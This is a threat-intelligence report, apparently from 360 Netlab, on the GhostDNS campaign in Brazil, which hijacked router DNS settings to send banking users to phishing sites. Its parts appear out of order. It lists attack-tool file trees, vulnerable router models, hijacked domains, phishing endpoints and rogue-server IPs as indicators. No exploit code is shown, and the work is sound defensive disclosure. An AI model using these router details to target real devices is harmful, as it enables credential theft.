│   │   ├── __init__.py │   │   │   └── password.py │   │   ├── scanner │   │   │   └── class.scanner.utils.php │   │   ├── shodan │   │   │   ├── class.shodan.php │   │   │   └── cookie.txt │   │   ├── utils │   │   │   ├── class.colors.php │   │   │   ├── class.utils.php │   │   │   └── class.webrequest.php │   │   └── web │   │   ├── blockedtitles │   │   ├── class.web.api.php │   │   └── class.web.interface.php │   ├── config.bruteforce.php │   ├── config.init.php │   ├── config.layout.php │   ├── config.rangelist - bkp.php │   ├── config.rangelist.php │   ├── config.routers.php │   ├── config.scanner.php │   ├── launchers │   │   └── attack │   │   └── launch │   └── logs ├── logs │   ├── change.log │   └── gravar.php ├── parse_logs └── scanner ├── api.php ├── extrator.php ├── ranged_scanner.php ├── rodar.php ├── rodarlista.php ├── shodan.php └── teste.py </code></pre> <p>The affected router/firmware we have identified</p> <pre><code>AirRouter AirOS Antena PQWS2401 C3-TECH Router Cisco Router D-Link DIR-600 D-Link DIR-610 D-Link DIR-615 D-Link DIR-905L D-Link ShareCenter Elsys CPE-2n Fiberhome Fiberhome AN5506-02-B Fiberlink 101 GPON ONU Greatek GWR 120 Huawei Intelbras WRN 150 Intelbras WRN 240 Intelbras WRN 300 LINKONE MikroTik Multilaser OIWTECH PFTP-WR300 QBR-1041 WU Roteador PNRT150M Roteador Wireless N 300Mbps Roteador WRN150 Roteador WRN342 Sapido RB-1830 TECHNIC LAN WAR-54GS Tenda Wireless-N Broadband Router Thomson TP-Link Archer C7 TP-Link TL-WR1043ND TP-Link TL-WR720N TP-Link TL-WR740N TP-Link TL-WR749N TP-Link TL-WR840N TP-Link TL-WR841N TP-Link TL-WR845N TP-Link TL-WR849N TP-Link TL-WR941ND Wive-NG routers firmware ZXHN H208N Zyxel VMG3312 </code></pre> <h4 id="thewebadminsystem">The Web Admin System</h4> <p>We also have discovered a web admin website on one of the PyPhp DNSChanger node. We do not have too much information about this system yet, but we strongly believe that it is an admin system.</p> <p><img src="__GHOST_URL__/content/images/2018/09/webadmin.png" alt="log" loading="lazy"></p> <p>We notice a special label &quot;Elite Priv8&quot; on the login page of the Web Admin System. After some googling, we found the same description on a post titled &quot;testador santander banking 2.1 versão beta elitepriv8&quot; on a Brazilian security forum[<a href="http://www.forum-hacker.com.br/archive/index.php/t-537.html">4]</a>.</p> <p>The following is the IP address of Web Admin Server</p> <pre><code>198.50.222.139 &quot;AS16276 OVH SAS&quot; </code></pre> <h4 id="theroguednssystem">The Rogue DNS System</h4> <p>We have no access to the Rogue DNS server, so we can’t say for sure how many dns names have been hijacked, but by querying both Alexa Top1M and our DNSMon’s Top1M domains against the rogue DNS server (139.60.162.188) , we were able to find a total of 52 domains being hijacked. The hijacked domains mainly involve bank, cloud hosting service as well as a security company named Avira.</p> <p>Below is the hijack result details of rogue DNS server (139.60.162.188), note a security company avira.com.br also gets resolved to 0.0.0.0</p> <pre><code>{&quot;domain&quot;: &quot;avira.com.br&quot;, &quot;rdata&quot;: [&quot;0.0.0.0&quot;]} {&quot;domain&quot;: &quot;banco.bradesco&quot;, &quot;rdata&quot;: [&quot;198.27.121.241&quot;]} {&quot;domain&quot;: &quot;bancobrasil.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;bancodobrasil.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;bb.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;bradesco.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;bradesconetempresa.b.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;bradescopj.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;br.wordpress.com&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;caixa.gov.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;citibank.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;clickconta.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;contasuper.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;credicard.com.br&quot;, &quot;rdata&quot;: [&quot;198.27.121.241&quot;]} {&quot;domain&quot;: &quot;hostgator.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;itau.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;itaupersonnalite.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;kinghost.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;locaweb.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;netflix.com.br&quot;, &quot;rdata&quot;: [&quot;35.237.127.167&quot;]} {&quot;domain&quot;: &quot;netflix.com&quot;, &quot;rdata&quot;: [&quot;35.237.127.167&quot;]} {&quot;domain&quot;: &quot;painelhost.uol.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;santander.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;santandernet.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;sicredi.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;superdigital.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;umbler.com&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;uolhost.uol.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.banco.bradesco&quot;, &quot;rdata&quot;: [&quot;198.27.121.241&quot;]} {&quot;domain&quot;: &quot;www.bancobrasil.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.bb.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.bradesco.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.bradesconetempresa.b.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.bradescopj.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.br.wordpress.com&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.caixa.gov.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.citibank.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.credicard.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.hostgator.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.itau.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.kinghost.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.locaweb.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.netflix.com&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.netflix.net&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.painelhost.uol.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.santander.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.santandernet.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.sicredi.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.superdigital.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.umbler.com&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.uolhost.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.uolhost.uol.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} </code></pre> <p>Below is the list of rogue DNS servers we have discovered.</p> <pre><code>139.60.162.188 &quot;AS395839 HOSTKEY&quot; 139.60.162.201 &quot;AS395839 HOSTKEY&quot; 144.22.104.185 &quot;AS7160 Oracle Corporation&quot; 173.82.168.104 &quot;AS35916 MULTACOM CORPORATION&quot; 18.223.2.98 &quot;AS16509 Amazon.com, Inc.&quot; 185.70.186.4 &quot;AS57043 Hostkey B.v.&quot; 192.99.187.193 &quot;AS16276 OVH SAS&quot; 198.27.121.241 &quot;AS16276 OVH SAS&quot; 200.196.240.104 &quot;AS11419 Telefonica Data S.A.&quot; 200.196.240.120 &quot;AS11419 Telefonica Data S.A.&quot; 35.185.9.164 &quot;AS15169 Google LLC&quot; 80.211.37.41 &quot;AS31034 Aruba S.p.A.&quot; </code></pre> <h4 id="thephishingwebsystem">The Phishing Web System</h4> <p>The rogue DNS server hijacks specific domains and resolves their IP addresses to the Phishing webserver, which will respond the victims with specific phishing sites for the corresponding hostname.</p> <p>Probing the phising server with the 52 hijacked domains, we were able to discover 19 different phishing websites.</p> <pre><code>md5, url, hostname, pishing web api 42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itau.com.br ['http://193.70.95.89/processar1.php'] 42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itaupersonnalite.com.br ['http://193.70.95.89/processar1.php'] 42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 www.itau.com.br ['http://193.70.95.89/processar1.php'] 4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php umbler.com ['http://193.70.95.89/processa_1.php'] 4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php www.umbler.com ['http://193.70.95.89/processa_1.php'] 492188f294d0adeb309b4d2dd076f1ac http://193.70.95.89 www.credicard.com.br ['http://193.70.95.89/acesso.php'] 492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 sicredi.com.br ['http://193.70.95.89/salvar.php'] 492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 www.sicredi.com.br ['http://193.70.95.89/salvar.php'] 5838b749436a5730b0112a81d6818915 http://193.70.95.89 bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php'] 70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html locaweb.com.br ['http://193.70.95.89/salvar.php'] 70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html www.locaweb.com.br ['http://193.70.95.89/salvar.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancobrasil.com.br ['http://193.70.95.89/processar_1.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancodobrasil.com.br ['http://193.70.95.89/processar_1.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bb.com.br ['http://193.70.95.89/processar_1.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bancobrasil.com.br ['http://193.70.95.89/processar_1.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bb.com.br ['http://193.70.95.89/processar_1.php'] 8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php'] 8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml www.citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php'] 97c8abea16e96fe1222d44962d6a7f89 http://193.70.95.89 www.bradesco.com.br ['http://193.70.95.89/identificacao.php'] 9882ea325c529bf75cf95d0935b4dba0 http://193.70.95.89 www.bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php painelhost.uol.com.br ['http://193.70.95.89/processa_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php uolhost.uol.com.br ['http://193.70.95.89/processa_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.painelhost.uol.com.br ['http://193.70.95.89/processa_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.com.br ['http://193.70.95.89/processa_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.uol.com.br ['http://193.70.95.89/processa_1.php'] abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php'] abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php'] abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php'] abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php'] cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 contasuper.com.br ['http://193.70.95.89/processar_1.php'] cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 superdigital.com.br ['http://193.70.95.89/processar_1.php'] cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 www.superdigital.com.br ['http://193.70.95.89/processar_1.php'] d01f5b9171816871a3c1d430d255591b http://193.70.95.89 www.bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php'] f71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 kinghost.com.br ['http://193.70.95.89/processa_1.php'] f71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 www.kinghost.com.br ['http://193.70.95.89/processa_1.php'] fbb4691da52a63baaf1c8fc2f4cb5d2d http://193.70.95.89 www.netflix.com ['http://193.70.95.89/envio.php'] ffd3708c786fbb5cfa239a79b45fe45b http://193.70.95.89 bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php'] ffecab7ab327133580f607112760a7e2 http://193.70.95.89 clickconta.com.br ['http://193.70.95.89/identificacao.php'] </code></pre> <p>Below is the IP addresses of the phishing webserver.</p> <pre><code>193.70.95.89 &quot;AS16276 OVH SAS&quot; 198.27.121.241 &quot;AS16276 OVH SAS&quot; 35.237.127.167 &quot;AS15169 Google LLC&quot; </code></pre> <h3 id="statisticsofinfectedrouters">Statistics of Infected Routers</h3> <p>Based on the logs of GhostDNS from 09-21 to 09-27, we have observed 100k+ infected router IP addresses (87.8% located in Brazil), involving 70+ router/firmwares. Due to the dynamic updates of router IP address, the actual number of infected devices should be slightly different.</p> <p><img src="__GHOST_URL__/content/images/2018/09/victims.png" alt="GhostDNS" loading="lazy"></p> <p>Below is the country list of infected IP addresses.</p> <pre><code>BR 91605 BO 7644 AR 2581 SX 339 MX 265 VE 219 US 191 UY 189 CL 138 CO 134 GT 80 EC 71 GY 70 RU 61 RO 51 PY 38 PA 35 UA 34 HN 33 BG 33 </code></pre> <p>Below is the list of web page titles from infected routers.</p> <pre><code>28ZE ADSL2 PLUS AIROS AN550602B BaseDashboard C3T Routers DIR600 1 DIR-615 DLINK Dlink DIR-610 Dlink DIR-611 DLINK DIR-905L DSL Router DSL Router - GKM 1220 ELSYS CPE-2N FiberHome AN5506-02-B, hardware: GJ-2.134.321B7G, firmware: RP2520 FiberLink101 GoAhead-Boa GoAhead-Webs GoAhead-Webs Routers GoAhed 302 GOTHAN GREATEK GWR-120 KP8696X Link One Mini_httpd Multilaser Router OIWTECH Proqualit Router Realtek Semiconductor Realtek Semiconductor [Title] Roteador ADSL Roteador Wireless KLR 300N Roteador Wireless N 150Mbps Roteador Wireless N 150 Mbps Roteador Wireless N 300 Mbps Roteador Wireless N 300 Mbps [ LinkOne ] Roteador Wireless N 300 Mbps [Link One] Roteador Wireless N ( MultiLaser ) Roteador Wireless N [ MultiLaser ] TENDA TimDSL TL-WR740N / TL-WR741ND TL-WR840N TL-WR849N TP-LINK Nano WR702N TP-LINK Roteador Wireless TP-LINK Roteador Wireless N WR741ND TP-LINK TL-WR941HP TP-LINK Wireless AP WA5210G TP-LINK Wireless Lite N Router WR740N TP-LINK Wireless Lite N Router WR749N TP-LINK Wireless N Gigabit Router WR1043ND TP-LINK Wireless N Router WR841N/WR841ND TP-LINK Wireless N Router WR845N TP-LINK Wireless N Router WR941ND TP-LINK Wireless Router TP-LINK WR340G TP-LINK WR720N TP-LINK WR740N TP-LINK WR741N TP-LINK WR743ND TP-LINK WR840N TP-LINK WR841HP TP-LINK WR841N TP-LINK WR940N TP-LINK WR941N TP-LINK WR949N Wireless-N Router Wireless Router WLAN AP Webserver ZNID </code></pre> <h3 id="summary">Summary</h3> <p>The GhostDNS system poses a real threat to Internet. It is highly scaled, utilizes diverse attack vector, adopts automated attack process.</p> <p>We recommend the broadband users in Brazil to update their router systems, check if the router's default DNS server is changed and set more complicated password for router web portal.</p> <p>We also recommend the router vendors to increase the complexity of router default password and enhance the system security update mechanism for their products.</p> <p>Relevant security agencies are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses.</p> <h4 id="contactus">Contact Us</h4> <p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, WeChat 360Netlab or email to netlab at 360 dot cn.</p> <p>note:We have informed various ISPs on the IOC list, and OVH, ORACLE, Google, Microsoft have taken down the related IPs and some others are working on it (Thanks!)</p> <h4 id="ioclist">IoC list</h4> <pre><code>#Pishing Web Server [takendown] 193.70.95.89 &quot;AS16276 OVH SAS&quot; [takendown] 198.27.121.241 &quot;AS16276 OVH SAS&quot; [takendown] 35.237.127.167 &quot;AS15169 Google LLC&quot; #Rogue DNS Server 139.60.162.188 &quot;AS395839 HOSTKEY&quot; 139.60.162.201 &quot;AS395839 HOSTKEY&quot; 173.82.168.104 &quot;AS35916 MULTACOM CORPORATION&quot; 18.223.2.98 &quot;AS16509 Amazon.com, Inc.&quot; 185.70.186.4 &quot;AS57043 Hostkey B.v.&quot; 200.196.240.104 &quot;AS11419 Telefonica Data S.A.&quot; 200.196.240.120 &quot;AS11419 Telefonica Data S.A.&quot; 80.211.37.41 &quot;AS31034 Aruba S.p.A.&quot; [takendown] 35.185.9.164 &quot;AS15169 Google LLC&quot; [takendown] 144.22.104.185 &quot;AS7160 Oracle Corporation&quot; [takendown] 192.99.187.193 &quot;AS16276 OVH SAS&quot; [takendown] 198.27.121.241 &quot;AS16276 OVH SAS&quot; #Web Admin Server [takendown] 198.50.222.139 &quot;AS16276 OVH SAS&quot; #DNSChanger Scanner Server [takendown] 104.196.177.180 &quot;AS15169 Google LLC&quot; [takendown] 104.196.232.200 &quot;AS15169 Google LLC&quot; [takendown] 104.197.106.6 &quot;AS15169 Google LLC&quot; [takendown] 104.198.54.181 &quot;AS15169 Google LLC&quot; [takendown] 104.198.77.60 &quot;AS15169 Google LLC&quot; [takendown] 198.50.222.139 &quot;AS16276 OVH SAS&quot; [takendown] 35.185.127.39 &quot;AS15169 Google LLC&quot; [takendown] 35.185.9.164 &quot;AS15169 Google LLC&quot; [takendown] 35.187.149.224 &quot;AS15169 Google LLC&quot; [takendown] 35.187.202.208 &quot;AS15169 Google LLC&quot; [takendown] 35.187.238.80 &quot;AS15169 Google LLC&quot; [takendown] 35.188.134.185 &quot;AS15169 Google LLC&quot; [takendown] 35.189.101.217 &quot;AS15169 Google LLC&quot; [takendown] 35.189.125.149 &quot;AS15169 Google LLC&quot; [takendown] 35.189.30.127 &quot;AS15169 Google LLC&quot; [takendown] 35.189.59.155 &quot;AS15169 Google LLC&quot; [takendown] 35.189.63.168 &quot;AS15169 Google LLC&quot; [takendown] 35.189.92.68 &quot;AS15169 Google LLC&quot; [takendown] 35.194.197.94 &quot;AS15169 Google LLC&quot; [takendown] 35.195.116.90 &quot;AS15169 Google LLC&quot; [takendown] 35.195.176.44 &quot;AS15169 Google LLC&quot; [takendown] 35.196.101.227 &quot;AS15169 Google LLC&quot; [takendown] 35.197.148.253 &quot;AS15169 Google LLC&quot; [takendown] 35.197.172.214 &quot;AS15169 Google LLC&quot; [takendown] 35.198.11.42 &quot;AS15169 Google LLC&quot; [takendown] 35.198.31.197 &quot;AS15169 Google LLC&quot; [takendown] 35.198.5.34 &quot;AS15169 Google LLC&quot; [takendown] 35.198.56.227 &quot;AS15169 Google LLC&quot; [takendown] 35.199.106.0 &quot;AS15169 Google LLC&quot; [takendown] 35.199.2.186 &quot;AS15169 Google LLC&quot; [takendown] 35.199.61.19 &quot;AS15169 Google LLC&quot; [takendown] 35.199.66.147 &quot;AS15169 Google LLC&quot; [takendown] 35.199.77.82 &quot;AS15169 Google LLC&quot; [takendown] 35.200.179.26 &quot;AS15169 Google LLC&quot; [takendown] 35.200.28.69 &quot;AS15169 Google LLC&quot; [takendown] 35.203.111.239 &quot;AS15169 Google LLC&quot; [takendown] 35.203.135.65 &quot;AS15169 Google LLC&quot; [takendown] 35.203.143.138 &quot;AS15169 Google LLC&quot; [takendown] 35.203.167.224 &quot;AS15169 Google LLC&quot; [takendown] 35.203.18.30 &quot;AS15169 Google LLC&quot; [takendown] 35.203.183.182 &quot;AS15169 Google LLC&quot; [takendown] 35.203.25.136 &quot;AS15169 Google LLC&quot; [takendown] 35.203.3.16 &quot;AS15169 Google LLC&quot; [takendown] 35.203.48.110 &quot;AS15169 Google LLC&quot; [takendown] 35.203.5.160 &quot;AS15169 Google LLC&quot; [takendown] 35.203.8.203 &quot;AS15169 Google LLC&quot; [takendown] 35.204.146.109 &quot;AS15169 Google LLC&quot; [takendown] 35.204.51.103 &quot;AS15169 Google LLC&quot; [takendown] 35.204.77.160 &quot;AS15169 Google LLC&quot; [takendown] 35.204.80.189 &quot;AS15169 Google LLC&quot; [takendown] 35.205.148.72 &quot;AS15169 Google LLC&quot; [takendown] 35.205.24.104 &quot;AS15169 Google LLC&quot; [takendown] 35.221.110.75 &quot;AS19527 Google LLC&quot; [takendown] 35.221.71.123 &quot;AS19527 Google LLC&quot; [takendown] 35.227.25.22 &quot;AS15169 Google LLC&quot; [takendown] 35.228.156.223 &quot;AS15169 Google LLC&quot; [takendown] 35.228.156.99 &quot;AS15169 Google LLC&quot; [takendown] 35.228.240.14 &quot;AS15169 Google LLC&quot; [takendown] 35.228.244.19 &quot;AS15169 Google LLC&quot; [takendown] 35.228.73.198 &quot;AS15169 Google LLC&quot; [takendown] 35.228.90.15 &quot;AS15169 Google LLC&quot; [takendown] 35.230.104.237 &quot;AS15169 Google LLC&quot; [takendown] 35.230.158.25 &quot;AS15169 Google LLC&quot; [takendown] 35.230.162.54 &quot;AS15169 Google LLC&quot; [takendown] 35.230.165.35 &quot;AS15169 Google LLC&quot; [takendown] 35.231.163.40 &quot;AS15169 Google LLC&quot; [takendown] 35.231.60.255 &quot;AS15169 Google LLC&quot; [takendown] 35.231.68.186 &quot;AS15169 Google LLC&quot; [takendown] 35.232.10.244 &quot;AS15169 Google LLC&quot; [takendown] 35.234.131.31 &quot;AS15169 Google LLC&quot; [takendown] 35.234.136.116 &quot;AS15169 Google LLC&quot; [takendown] 35.234.156.85 &quot;AS15169 Google LLC&quot; [takendown] 35.234.158.120 &quot;AS15169 Google LLC&quot; [takendown] 35.234.77.117 &quot;AS15169 Google LLC&quot; [takendown] 35.234.89.25 &quot;AS15169 Google LLC&quot; [takendown] 35.234.94.97 &quot;AS15169 Google LLC&quot; [takendown] 35.236.117.108 &quot;AS15169 Google LLC&quot; [takendown] 35.236.2.49 &quot;AS15169 Google LLC&quot; [takendown] 35.236.222.1 &quot;AS15169 Google LLC&quot; [takendown] 35.236.246.82 &quot;AS15169 Google LLC&quot; [takendown] 35.236.25.247 &quot;AS15169 Google LLC&quot; [takendown] 35.236.254.11 &quot;AS15169 Google LLC&quot; [takendown] 35.236.34.51 &quot;AS15169 Google LLC&quot; [takendown] 35.237.127.167 &quot;AS15169 Google LLC&quot; [takendown] 35.237.204.11 &quot;AS15169 Google LLC&quot; [takendown] 35.237.215.211 &quot;AS15169 Google LLC&quot; [takendown] 35.237.32.144 &quot;AS15169 Google LLC&quot; [takendown] 35.237.68.143 &quot;AS15169 Google LLC&quot; [takendown] 35.238.4.122 &quot;AS15169 Google LLC&quot; [takendown] 35.238.74.24 &quot;AS15169 Google LLC&quot; [takendown] 35.240.156.17 &quot;AS15169 Google LLC&quot; [takendown] 35.240.212.106 &quot;AS15169 Google LLC&quot; [takendown] 35.240.234.169 &quot;AS15169 Google LLC&quot; [takendown] 35.240.94.181 &quot;AS15169 Google LLC&quot; [takendown] 35.241.151.23 &quot;AS15169 Google LLC&quot; [takendown] 35.242.134.99 &quot;AS15169 Google LLC&quot; [takendown] 35.242.140.13 &quot;AS15169 Google LLC&quot; [takendown] 35.242.143.117 &quot;AS15169 Google LLC&quot; [takendown] 35.242.152.241 &quot;AS15169 Google LLC&quot; [takendown] 35.242.203.94 &quot;AS15169 Google LLC&quot; [takendown] 35.242.245.109 &quot;AS15169 Google LLC&quot; [takendown] 40.74.85.45 &quot;AS8075 Microsoft Corporation&quot; </code></pre> <!--kg-card-end: markdown-->

note:We have informed various ISPs on the IoC list, and OVH, ORACLE, Google, Microsoft have taken down the related IPs and some others are working on it (Thanks!) Background introduction DNSchanger is not something new and was quite active years ago [1], we occasionally encountered one every once in a while, but given the impact they have, we normally don’t bother to write any article. With that being said, we have been keeping an eye on a particle one for a while, this one has been active for a long time, and radware has also blogged about it recently[2]. Starting from September 20, 2018, we noticed the campaign starting to ramp up its’ effort significantly with a whole bunch of new scanners, we think it is time to expose more details and take some needed actions. Just like the regular dnschanger, this campaign attempts to guess the password on the router's web authentication page or bypass the authentication through the dnscfg.cgi exploit, then changes the router's default DNS address to the Rogue DNS Server[3] through the corresponding DNS configuration interface. But this campaign has more, we have found three related DNSChanger programs, which we call Shell DNSChanger, Js DNSChanger and PyPhp DNSChanger according to their programming languages. Furthermore, the above DNSChanger Systems are only part of a larger system that the malware campaign runs. The whole campaign also includes: Phishing Web System, Web Admin System, Rogue DNS System. These four parts work together to perform DNS hijacking function. Here we call the whole campaign GhostDNS. Currently the campaign mainly focuses on Brazil, we have counted 100k+ infected router IP addresses (87.8% located in Brazil), and 70+ router/firmware have been involved, and 50+ domain names such as some big banks in brazil , even Netflix, Citibank.br have been hijacked to steal the corresponding website login credentials. GhostDNS system The GhostDNS system consists of four parts: DNSChanger module, Phishing Web module, Web Admin module, Rogue DNS module. Among them, the DNSChanger module is responsible for information collection and exploitation. Figure 1: Flow chart of GhostDNS（click to enlarge image） DNSChanger System The DNSChanger module is the main module of GhostDNS. The attacker uses three DNSChanger sub-modules to carry out attack against routers on both internet and intranet networks. The module includes 100+ attack scripts altogether, affecting 70+ different routers. The three DNSChanger sub-modules The Shell DNSChanger sub-module The Shell DNSChanger was first available around June 2016. It is basically a combination of 25 attack Shell scripts, which works on 21 routers/firmware. This sub-module is only being used lightly, with limited deployment by the attacker. This sub-module uses a third-party program, Fast HTTP Auth Scanner v0.6 (FScan) to perform scan. It's configured with a large number of scanning rules, a list of user passwords, and some startup scripts. The Fscan scan IP range is a list of selected network segments, most of which are attributed to Brazil. After the initial scan, this sub-module then uses the router device information collected to perform password crack on the web authentication pages of these routers. If it is success, the default DNS address on the router will be changed to a Rogue DNS server. The following is the key code structure of Shell DNSChanger ├── brasil ├── changers │   ├── 3com1 │   ├── aprouter │   ├── dlink1 │   ├── dlink2 │   ├── dlink3 │   ├── dlink4 │   ├── dlink5 │   ├── dlink6 │   ├── dlink7 │   ├── dlink7_ │   ├── globaltronic │   ├── huawei │   ├── intelbrass │   ├── kaiomy │   ├── mikrotik │   ├── oiwtech │   ├── ralink │   ├── realtek │   ├── speedstream │   ├── speedtouch │   ├── speedtouch2 │   ├── tplink1 │   ├── tplink2 │   ├── tplink3 │   ├── triz │   └── viking ├── configs ├── logs ├── mdetector ├── mikrotik ├── ralink ├── src │   ├── BasicAuth.cpp │   ├── Makefile │   ├── Net-Telnet-3.03.tar.gz │   ├── base64.cpp │   ├── config.cpp │   ├── fscan.cpp │   ├── md5.cpp │   ├── md5.h │   ├── sockets.cpp │   ├── sslscanner.h │   ├── ulimit │   └── webforms.cpp ├── .fscan └── .timeout The following are affected routers/firmwares that we have identified 3COM OCR-812 AP-ROUTER D-LINK D-LINK DSL-2640T D-LINK DSL-2740R D-LINK DSL-500 D-LINK DSL-500G/DSL-502G Huawei SmartAX MT880a Intelbras WRN240-1 Kaiomy Router MikroTiK Routers OIWTECH OIW-2415CPE Ralink Routers 